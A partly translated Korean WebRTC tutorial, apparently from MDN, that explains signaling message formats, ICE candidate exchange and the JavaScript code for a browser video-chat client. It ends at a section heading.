우리가 제공하는 시그널링 서버는 stringified JSON object 을 가지고 클라언트간에 데이터를 주고 받는다. 즉, 이것은 시그널링 메세지들이 JSON format으로 되어있으며, 메세지의 type 등 메세지를 적절하게 처리할 수 있도록 여러 정보들이 포함되어 있다.

+ +

Exchanging session descriptions

+ +

시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 offer 란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 answer 메세지를 보내야한다. 우리가 사용할 offer 메세지들은 "video-offer" 이라는 타입을 사용할 것이고 answer 메세지들은 "video-answer" 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.

+ +
+
type
+
메세지의 타입이라; "video-offer" 또는 "video-answer".
+
name
+
보내는 사람의 username 이다.
+
target
+
받는 사람의 username이다. (만약 caller가 메세지를 보낸다면, target은 callee 를 뜻한다, vice-versa.)
+
sdp
+
커넥션의 local 정보를 설명하는 SDP (Session Description Protocol) 스트링(e.g. 수신자의 관점으로 볼 때, SDP는 커넥션의 remote 정보이다.)
+
+ +

현 시점에서 두 피어들은 이 call에 대해 어떤 코덱들과 어떤 video parameter들이 사용될지 알게 된다. 하지만, 그들은 여전히 미디어 데이터 자체를 전송하는 방법을 모른다. 여기서 Interactive Connectivity Establishment (ICE)가 사용된다.

+ +

Exchanging ICE candidates

+ +

SDP를 서로 교환한 후에, 두 피어들은 ICE candidate(ICE 후보)들을 교환하기 시작한다. 각 ICE candidate는 발신 피어 입장에서 통신을 할 수 있는 방법을 설명한다. 각 피어는 검색되는 순서대로 candidate를 보내고 미디어가 이미 스트리밍을 시작 했더라도 모든 가능한 candidate가 전송 완료될 때까지 계속 보낸다. 두 피어가 서로 호환되는 candidate를 제안했다면, 미디어는 통신을 시작한다. 만약 나중에 더 나은 방법이 있다면(더 높은 성능을 가지는), 그 스트림은 필요에 따라 포맷을 바꿀 수도 있다.

+ +

비록 지금은 지원하지 않지만, 이 기술은 이론상 낮은 bandwidth의 연결에 대해 다운그레이드에 사용될 수 있다.

+ +

시그널링 서버를 통해 전달되는 ICE candidate들에 관한 메세지의 타입은 "new-ice-candidate" 이며, 이 메세지들은 아래 field를 가진다.

+ +
+
type
+
메세지 타입 : "new-ice-candidate".
+
target
+
현재 협상을 진행 중인 사람의 username. 시그널링 서버는 이 유저에게만 직접 메세지를 보낸다.
+
candidate
+
제안된 커넥션 방법을 설명하는 SDP candidate string.
+
+ +

각 ICE 메세지들은 두 개의 컴퓨터를 서로 연결하기 위한 정보들에 덧붙여 프로토콜(TCP or UDP), IP 주소, 포트 넘버, 커넥션 타입 등을 제안한다. 여기에는 NAT 혹은 다른 복잡한 네트워킹을 포함한다.

+ +
+

중요. ICE negotiation 동안 너의 코드가 해야할 것은 오직 ICE layer에서 외부로 나갈 candidate들을 선택하는 것과, onicecandidatehandler가 불렸을 때 시그널링 서버를 통해 그것들을 다른 피어에 보내는 것이다. 그리고 시그널링 서버로부터 ICE candidate 메세지를 받고 RTCPeerConnection.addIceCandidate()를 호출하여 너의 ICE layer에 그들을 전달한다. 그것 뿐이다. 정확히 무엇을 하는지 알기 전까진, 더 이상 깊이 생각하지 말자!

+
+ +

너의 시그널링 서버가 이제 해야할 일은 요청된 메세지를 보내는 것이다. 부가적으로 login/authentication 같은 기능들이 필요할 수도 있는데, 자세한 내용은 달라질 수 있다.

+ +

Signaling transaction flow

+ +

시그널링 정보는 연결할 두 피어들 사이에서 교환된다. 아주 기초적인 수준에서 어떤 메세지들이 누가 누구에게 왜 전달해야하는지 보자.

+ +

시그널링 프로세스는 다양한 부분에서 다음과 같은 메시지 교환을 포함한다. 각 유저의 채팅 시스템의 웹 애플리케이션 인스턴스, 각 유저의 브라우저, 시그널링 서버 그리고 호스팅 웹 서버 등.

+ +

Naomi와 Priya는 채팅 소프트웨어를 사용해 대화에 참여했고 Naomi는 둘 사이에 영상 통화를 하기로 결정한다. 다음 표는 이벤트들이 발생하는 과정이다.

+ +

Diagram of the signaling process

+ +

곧 더 자세한 설명을 볼 수 있다.

+ +

ICE candidate exchange process

+ +

각 피어들의 ICE layer에서 candidate들을 보내기 시작할 때, 다음 그림과 같은 교환이 일어난다.

+ +

Diagram of ICE candidate exchange process

+ +

각 피어들은 candidate 들을 전송하고, 준비가 되면 받은 candidate 들을 처리한다. Candidate들은 양 피어들이 동의할 때까지 계속 교환되며, 미디어가 송수신 되도록 만든다. "ICE exchange"은 양측이 교대로 제안을하는 것을 의미하지 않는다. 올바르게 작동할 경우, 각 피어들은 모두 소진되거나 서로 동의할 때까지 상대방에게 제안할 candidate 들을 계속 전송한다.

+ +

만약 조건들이 바뀐다면, 예를들어 네트워크 커넥션이 악화되면, 하나 혹은 양 피어들은 낮은 bandwidth의 미디어 해상도로 바꾸거나 다른 코덱을 사용하자고 제안할 것이다. 다음 candidate 교환에서 양 피어 모두 새로운 포맷에 동의한다면, 다른 미디어 포맷 혹은 다른 코덱으로 바뀔 수도 있다.

+ +

부가적으로 만약 ICE layer 내부의 프로세스를 더 자세히 이해하고 싶다면 RFC 5245: Interactive Connectivity Establishment,section 2.6 ("Concluding ICE") 를 참조해라. ICE layer가 준비 되자마자 candiate들이 교환되고 미디어들은 통신되기 시작한다는 것을 기억해라. 이 모든 것은 뒤에서 알아서 돌아간다. 우리의 역할은 그저 시그널링 서버를 통해 candidate들을 서로에게 보내는 것이다.

+ +

The client application

+ +

지금부터 위에서 설명한 개념들을 샘플 코드를 통해서 자세히 배워보자.

+ +

어떤 시그널링 프로세스든지 핵심은 메세지 핸들링에 있다. Websocket을 시그널링에 꼭 사용할 필요는 없지만, 일반적인 솔루션으로 쓰인다. 다른 솔루션도 충분히 빠르고 같은 결과를 볼 수 있다.

+ +

Updating the HTML

+ +

클라이언트는 비디오를 표시할 공간이 필요하다. 2개의 video와 전화를 걸 button 을 정의한 HTML 코드이다.

+ +
      <div class="flexChild" id="camera-container">
+        <div class="camera-box">
+          <video id="received_video" autoplay></video>
+          <video id="local_video" autoplay muted></video>
+          <button id="hangup-button" onclick="hangUpCall();" disabled>
+            Hang Up
+          </button>
+        </div>
+      </div>
+ +

위에 있는 page structure은 <div>태그를 이용하고 CSS 사용을 허용함으로써 페이지 레이아웃 전체를 구성한다. 여기서는 레이아웃에 관한 자세한 내용은 스킵하지만, 위의 코드가 어떻게 돌아가는지 확인해보자. take a look at the CSS on Github. 두개의 <video> 중 하나는 너의 self video이고 다른 하나는 상대방의 video를 위한 요소이다.

+ +

id가 "received_video" 인 <video>element는 연결된 상대방으로부터 수신되는 비디오를 보여주는 곳이다. autoplayattribute는 비디오가 도달하기 시작하면 즉시 재생시키는 역할을 한다. 이것은 따로 재생에 관련된 코드를 처리할 필요를 없애준다. id가 "local_video" 인 <video>element에는 너의 카메라의 영상이 나오게된다. muted attribute는 너의 로컬 오디오를 음소거한다.

+ +

마지막으로, 통화를 끊을 수 있는 id가 "hangup-button"인 <button>은 비활성화 된 상태(아무 전화도 연결되지 않은 default 상태)로 구성된다. 그리고 이 버튼을 클릭시에 hangUpCall()함수가 실행 된다. 이 함수의 역할은 현재 연결된 call을 끊고 다른 피어에게 연결을 끊으라는 메세지를 전달한다.

+ +

The JavaScript code

+ +

어떻게 돌아가는지 알기 쉽게 하기 위해 각 기능별로 코드를 나누었다. 이 코드의 메인 부분은 connect()함수 안에 있다. 이 함수 안에서 6503 포트로 WebSocketserver에 연결하며, JSON object format의 메세지를 받기 위한 handler를 설정한다. 이 코드는 일반적으로 이전처럼 문자 채팅 메세지를 처리한다.

+ +

Sending messages to the signaling server

+ +

코드 전반에 걸쳐서 시그널링 서버에 메세지를 보내기 위해 sendToServer()함수를 호출한다. 이 함수는 WebSocket 커넥션을 이용하여 작동한다.

+ +
function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}
+ +

전달된 메세지 object는 JSON.stringify()함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 send()함수를 통해 서버로 전달된다.

+ +

UI to start a call

+ +

"userlist"에 관한 코드는 handleUserlistMsg()함수에 있다. 왼쪽 채팅 패널에 보여지는 유저 리스트에 있는 각 연결된 유저 마다 handler 를 걸어준다. 이 함수는 (온라인 상태인 유저들의 username을 배열로 저장하고 있는) usersproperty를 가지고 있는 메세지 object를 받는다. 이해하기 쉽도록 여러 섹션들에서 이 코드를 살펴 보겠다.

+ +
function handleUserlistMsg(msg) {
+  var i;
+
+  var listElem = document.getElementById("userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  // …
+ +

listElem변수를 통해 username들의 리스트인 <ul>을 참조한다. 그런 다음에 각 child element를 하나씩 제거하면서 목록을 비운다 .

+ +
+

명백히, 바뀔 때마다 전체 리스트를 새로 만드는 것보다, 개개인을 추가 및 제거 후 업데이트하는 것이 더 효율적이다. 그러나, 예제이므로 단순하게 하겠다.

+
+ +

그 후, 새로운 user 리스트를 만든다.

+ +
  // …
+
+  for (i=0; i < msg.users.length; i++) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(msg.users[i]));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  }
+}
+
+ +

다음으로 (채팅 서버에) 현재 연결된 각 유저들 각각을 나타내는 <li>element들을 DOM에 추가한다. 그런 다음에, username이 클릭 되었을 때 invite()함수를 실행시키는 listener을 추가한다. 이 함수 이것은 다른 유저에게 call을 하는 process를 시작한다.

+ +

Starting a call

+ +

통화를 하고 싶은 유저의 username을 클릭을 하면, click event의 handler인invite()함수가 실행된다.

+ +
var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      myPeerConnection.addStream(localStream);
+    })
+    .catch(handleGetUserMediaError);
+  }
+}
+ +

가장 먼저 해야할 일은 빠르게 여러 상태들을 점검하는 것이다. 유저가 이미 call을 열었는지, 혹은 유저가 자신에게 call을 신청했는지 등, 이 케이스들에는 새로운 call을 시도할 이유가 없다. 따라서 왜 call을 하지 못하는지 alert()를 통해 설명한다.

+ +

그 다음에 call을 하려는 유저의 이름을 targetUsername변수 안에 넣고 createPeerConnection()함수를 실행시킨다. 이 함수는 RTCPeerConnection 의 기본적인 구성과 기능을 수행한다.

+ +

RTCPeerConnection 이 생성되면, Navigator.mediaDevices.getUserMedia함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 srcObjectproperty에 설정한다. 그리고 <video>element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.

+ +

그 다음에 RTCPeerConnection에 stream을 추가하기 위해 myPeerConnection.addStream()함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.

+ +

만약 local media stream을 가져오는 동안 에러가 발생한다면, catch clause가 handleGetUserMediaError()함수를 불러 필요에 따라 유저에게 적절한 에러 메세지를 보여줄 것이다.

+ +

Handling getUserMedia() errors

+ +

getUserMedia()에 의해 리턴된 promise가 실패로 끝나면, handleGetUserMediaError()함수가 실행된다.

+ +
function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}
+ +

에러 메세지는 모든 케이스 중 하나만 표시된다. 이 예제에서 call을 취소하는 거와 같이, 미디어 하드웨어의 접근 권한을 거부하는 것에 대해 발생하는 에러들( "SecurityError" 와"PermissionDeniedError")은 무시한다.

+ +

Stream을 가져오는 것을 실패하는 이유와 관계 없이, RTCPeerConnection을 닫기 위해 closeVideoCall()function를 부른다. 그리고 call을 하기 위해 할당된 리소스들을 반납한다. 이 코드는 일부분만 실행된 call을 안전하게 처리할 수 있도록 설계되었다.

+ +

Creating the peer connection

+ +

createPeerConnection()함수는 caller와 callee에서 WebRTC 커넥션의 각 종점을 나타내는 RTCPeerConnectionobject를 생성하는데 사용된다. Caller는 invite()함수를 통해, callee는 handleVideoOfferMsg() 에 의해 실행된다.

+ +

이것은 상당히 명료하다:

+ +
var myHostname = window.location.hostname;
+
+function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "turn:" + myHostname,  // A TURN server
+          username: "webrtc",
+          credential: "turnserver"
+        }
+      ]
+  });
+
+// …
+
+ +

웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 location.hostname을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.

+ +

RTCPeerConnection을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트(ICE layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 iceServers이다(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다). WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.

+ +
+

직접 만든 혹은 사용할 권한을 가지고 있는 STUN/TURN 서버를 사용해야 한다.

+
+ +

iceServersparameter는 object의 배열이고 각각은 STUN/TURN 서버의 URL인 urlsfield를 무조건 포함한다. 예제에서, ICE layer에서 다른 피어를 찾아 연결 시키기 위한 서버를 제공한다. 이 서버는 TURN 서버이며, Web 서버와 같은 hostname에서 돌아간다. TURN 서버의 description에 usernamecredentialfield에 각각 username과 password 정보를 항상 포함시켜야한다는 것을 유의해라.

+ +
Set up event handlers
+ +

RTCPeerConnection이 생성되면, 중요한 이벤트들을 위한 handler를 설정해야한다.

+ +
// …
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.onaddstream = handleAddStreamEvent;
+  myPeerConnection.onremovestream = handleRemoveStreamEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+}
+ +

위에 있는 이벤트 핸들러 중 처음 두 개는 필수이다. WebRTC로 스트리밍된 미디어와 관련된 것들을 다루기위해 두 핸들러를 설정해야한다. removestreamevent는 스트리밍이 중단된 것을 감지하는데 유용하다. 따라서 아마 이것도 사용하게 될 것이다. 남아 있는 4개는 필수적인 것은 아니나, 직접 사용해보자. 이것들 외에도 다른 이벤트들을 사용할 수 있으나 여기에서는 다루지 않겠다. 각 핸들러에 관한 요약 설명이다.

+ +
+
{{domxref("RTCPeerConnection.onicecandidate")}}
+
로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 icecandidateevent handler를 호출한다.
+
{{domxref("RTCPeerConnection.onaddstream")}}
+
addstreamevent를 위한 이 핸들러는 너의 커넥션에 remote stream이 추가된 것을 알려주기 위해, 로컬 WebRTC layer에 의해 불려진다. 예를들어, 이것은 들어오는 stream을 element에 연결시켜 디스플레이 되게 만들 때 사용된다. 더 자세한 내용은 Receiving new streams 을 참조해라.
+
{{domxref("RTCPeerConnection.onremovestream")}}
+
커넥션에서 remote가 stream을 제거할 때, onaddstream의 반대인 onremovestream은 removestream event을 처리하기위해 실행된다.
+
{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
+
ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 iceconnectionstatechange event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 ICE connection state 에서 볼 것이다.
+
{{domxref("RTCPeerConnection.onicegatheringstatechange")}}
+
하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 icegatheringstatechange event를 보낸다. 아래의 ICE gathering state 을 참조해라.
+
{{domxref("RTCPeerConnection.onsignalingstatechange")}}
+
시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 signalingstatechange message를 보낸다. Signaling state 에서 코드를 볼 수 있다.
+
{{domxref("RTCPeerConnection.onnegotiationneeded")}}
+
이 함수는 WebRTC 인프라가 session negotiation 프로세스를 새로 시작해야할 때마다 불린다. 이것의 일은 callee에게 offer를 생성 후 전달하고, 우리에게 연결을 할 것인지 물어보는 것이다. 어떻게 처리하는지 Starting negotiation 를 참조해라.
+
+ +

Starting negotiation

+ +

Caller가 자신의 RTCPeerConnection과 media stream을 생성하고 Starting a call에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 negotiationneeded event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.

+ +
function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}
+ +

Negotiation 프로세스를 시작하기 위해, 우리가 연결하고자 하는 피어에게 SDP offer를 생성하고 전송해야한다. 이 offer는 커넥션에 로컬로 추가한 media stream 정보(call의 다른 피어에게 전달하고 싶은 비디오)와 ICE layer에 의해 미리 모아 놓은 ICE candidates 정보들을 포함해, 커넥션에 지원되는 구성 목록들을 포함한다. myPeerConnection.createOffer()를 호출함으로써 이 offer를 생성한다. 이 것이 성공한다면(promise에서 fulfill되면), myPeerConnection.setLocalDescription()으로 생성된 offer 정보를 전달한다.myPeerConnection.setLocalDescription()은 커넥션에서 자신의 미디어 구성 상태나 연결 정보들을 구성한다.

+ +
+

기술적으로 말하자면, createOffer()에 의해 리턴되는 blob은 RFC 3264 offer 이다.

+
+ +

setLocalDescription()이 완료되어 promise를 리턴하면, description 이 유효하고 세팅 되었음을 알 수 있다. 그 이후에 local description을 포함하는 새로운 "video-offer"message를 만들어 시그널링 서버를 통해 다른 피어에게 전송한다. 이 offer는 다음과 같은 내용을 가진다.

+ +
+
type
+
메세지의 타입은 "video-offer".
+
name
+
caller의 username.
+
target
+
call을 하고자 하는 user의 name.
+
sdp
+
offer에 관한 설명을 하는 SDP blob.
+
+ +

createOffer()이나 다른 fulfillment 핸들러에서 에러가 발생한다면, reportError()함수가 실행되어 에러를 보고한다.

+ +

setLocalDescription()의 fulfillment 핸들러가 실행되면, ICE agent는 icecandidateevent들을 처리하기 시작한다.

+ +

Session negotiation

+ +

이제 다른 피어와 협상을 할 것이다. 다른 피어는 우리의 offer를 받을 것이고, handleVideoOfferMsg()에 전달한다. Callee에게 "video-offer"message가 도착 했을 때의 이야기를 계속해보자.

+ +
Handling the invitation
+ +

offer가 도착할 때, callee의 handleVideoOfferMsg()함수가 실행되고, offer를 포함한 "video-offer"message를 받을 것이다. 이 코드는 2가지를 해야한다. 첫째, 자기 자신의 RTCPeerConnection과 media stream을 생성해야 한다. 두번째, 받은 offer를 분석하고 애이에 대한 answer를 만들어 보내야한다.

+ +
function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+
+    document.getElementById("local_video").srcObject = localStream;
+    return myPeerConnection.addStream(localStream);
+  })
+
+// …
+
+ +

이 코드는 Starting a call에 있는 invite()함수와 매우 비슷하다. 먼저, createPeerConnection()함수를 이용해서 RTCPeerConnection를 생성하고 구성한다. 그 후에, "video-offer"message로부터 얻은 SDP offer를 가지고 caller의 session description을 나타내는 RTCSessionDescriptionobject를 생성한다.

+ +

그 후에, session description은 myPeerConnection.setRemoteDescription() 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(then()clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 invite()에서 본 것과 같은 프로세스를 시작한다.

+ +

local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 보내야 한다.

+ +
  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}
+ +

RTCPeerConnection.addStream() 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 myPeerConnection.createAnswer()를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 myPeerConnection.setLocalDescription에 생성한 SDP를 전달한다.

+ +

최종 answer는 caller에게 보내져서, 어떻게 callee에게 닿을 수 있는지 알게해준다. "video-answer"message의 sdpproperty에 callee의 answer를 포함하고, caller에게 이 메세지를 전달한다.

+ +

에러가 발생하면 handleGetUserMediaError()으로 전달되고, Handling getUserMedia() errors에 잘 설명되어 있다.

+ +
+

caller와 마찬가지로 setLocalDescription()fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 icecandidateevent들을 처리하기 시작한다.

+
+ +
Sending ICE candidates
+ +

caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 icecandidateevent를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.

+ +

너의 onicecandidatehandler는 candidateproperty가 candidate의 정보를 담고 있는 SDP(단, candidate들의 끝에는null이 찍혀있다) 인 이벤트들을 받는다. 이것이 너의 시그널링 서버를 통해 다른 피어에게 전송해야할 것들이다. 밑에 구현 예제가 있다.

+ +
function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}
+ +

이 코드에서 candidate를 포함하는 object를 만들고 다른 피어에 보낸다. sendToServer()함수는 위에서 이미 다뤘으며 Sending messages to the signaling server에 코드가 있다. message의 property들이 의미하는 것은 다음과 같다.

+ +
+
target
+
ICE candidate가 보내야하는 곳의 username. 이것을 통해 시그널링 서버가 메세지를 타겟에게 전달한다.
+
type
+
메세지 타입은 "new-ice-candidate".
+
candidate
+
ICE layer가 다른 피어에게 전송하고자하는 candidate object.
+
+ +

메세지의 포맷(시그널링을 처리하는 모든 메세지들은)은 모두 너의 영역이고, 너가 필요한 것에 달렸다. 너가 또다른 필요한 정보가 있다면 추가할 수 있다. 메세지는 그저 JSON stringfied 되어 상대방에게 전달될 뿐이다.

+ +
+

Call의 다른 피어로부터 ICE candidate가 도착할 때, icecandidateevent가 전송되는 것이 아님을 항상 명심해라. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.

+
+ +
Receiving ICE candidates
+ +

시그널링 서버는 어떤 방법을 고르던 간에 각 ICE candidate를 목적지까지 배달한다. 이번 예제 에서는 type이 "new-ice-candidate"인 JSON object를 사용한다. handleNewICECandidateMsg()함수는 이 메세지들을 처리하기 위해 실행된다.

+ +
function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}
+ +

수신된 SDP를 RTCIceCandidate 생성자의 인자로서 전달하여 object를 생성하고, 이 object를 myPeerConnection.addIceCandidate() 에 전달한다. 이 함수를 통해 새로운 ICE candidate를 local ICE layer에 전달하고, 드디어 candidate 를 핸들링하는 프로세스에서 우리의 역할은 끝났다.

+ +

각 피어는 작동할 것으로 보이는 각 커넥션 메소드의 candidate를 다른 피어에게 보낸다. 양측은 합의에 도달하고 커넥션을 open한다. 협약을 진행 중에도 더 나은 커넥션 메소드를 찾거나, 단순히 피어가 커넥션을 설정할 때 candidate 교환이 진행 중이었을 수 있기 때문에, candidate는 여전히 송,수신 될 수 있음을 기억해라.

+ +
Receiving new streams
+ +

리모트 피어가 RTCPeerConnection.addStream()를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, addstreamevent가 발생한다. 어떻게 처리하는지 아래 코드를 보자.

+ +
function handleAddStreamEvent(event) {
+  document.getElementById("received_video").srcObject = event.stream;
+  document.getElementById("hangup-button").disabled = false;
+}
+ +

이 함수는 들어오는 stream을 id가 "received_video"인 <video>element에 할당하고, 유저가 전화를 받을 수 있도록 버튼을 활성화한다.

+ +

이 코드가 제대로 실행된다면, 드디어 다른 피어에서 오는 비디오를 로컬 브라우저에서 볼 수 있게 된다!

+ +
Handling the removal of streams
+ +

리모트 피어가 RTCPeerConnection.removeStream()를 호출하여 커넥션으로부터 스트림을 없애면, removestreamevent가 발생하게 된다.

+ +
function handleRemoveStreamEvent(event) {
+  closeVideoCall();
+}
+ +

이 함수는 closeVideoCall()함수를 실행시켜 call이 닫히도록 만들고, 다른 커넥션을 시작할 수 있도록 기존 인터페이스를 버린다. 어떻게 코드가 동작하는지 Ending the call을 참조해라.

+ +

Ending the call

+ +

There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred. Or one user might have quit their browser, or had a systen crash.

+ +
Hanging up
+ +

When the user clicks the "Hang Up" button to end the call, the hangUpCall() function is apllied:

+ +
function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}
+ +

hangUpCall() executes closeVideoCall(), shutting down and resetting the connection and related resources. We then build a "hang-up" message, sending this to the other end of the call, allowing the other peer to neatly shut down.

+ +
Ending the call
+ +

아래에 있는 closeVideoCall()함수는 stream들을 멈추고 지운 후에,RTCPeerConnectionobject를 없앤다.

+ +
function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track => track.stop());
+      remoteVideo.srcObject = null;
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track => track.stop());
+      localVideo.srcObject = null;
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  document.getElementById("hangup-button").disabled = true;
+
+  targetUsername = null;
+}
+ +

2개의 <video>element를 참조한 이후에, WebRTC 커넥션이 존재하는지 체크한다. 만약 있다면, call을 끊고 닫는다:

+ +
    +
  1. 리모트와 로컬 비디오 stream에 대해서, 각 track들 마다 MediaTrack.stop()를 실행시킨다.
  2. +
  3. 양 비디오의 HTMLMediaElement.srcObjectproperty를 null로 바꿔 stream에 관한 모든 참조를 푼다.
  4. +
  5. +

    myPeerConnection.close()를 불러 RTCPeerConnection을 닫는다.

    +
  6. +
  7. +

    myPeerConnection변수의 값을 null로 바꿔서 계속 진행중인 call이 없다는 것을 전체 코드가 알게 한다. 이것은 유저가 유저 리스트에서 username을 클릭할 때 사용된다.

    +
  8. +
+ + + +

마지막으로, "Hang Up" 버튼의 disabled property를 true로 바꿔서 call이 없는 동안에는 클릭이 불가능하게 만든다. 그 다음에 더이상 통화를 하지 않으므로 targetUsername을 null로 바꾼다. 이것을 통해 또 다른 유저에게 call을 하거나 새로운 call을 받을 수 있다.

+ +

Dealing with state changes

+ +

다양한 상태 변화를 너의 코드에 알리기 위해 listener를 세팅할 수 있는 다양한 이벤트들이 있다. 그 중에 다음 3가지를 사용하겠다.: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.

+ +
ICE connection state
+ +

커넥션 state가 바뀌면(예를들어, call이 다른쪽에서 중단 될 때) ICE layer가 iceconnectionstatechangeevent를 우리에게 보낸다.

+ +
function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}
+ +

ICE connection state가 "closed", 또는"failed", 또는 "disconnected"으로 바뀔 때 closeVideoCall()함수를 실행한다. 커넥션을 끊으며, 처음(또는 accept) call 상태로 돌아간다.

+ +
ICE signaling state
+ +

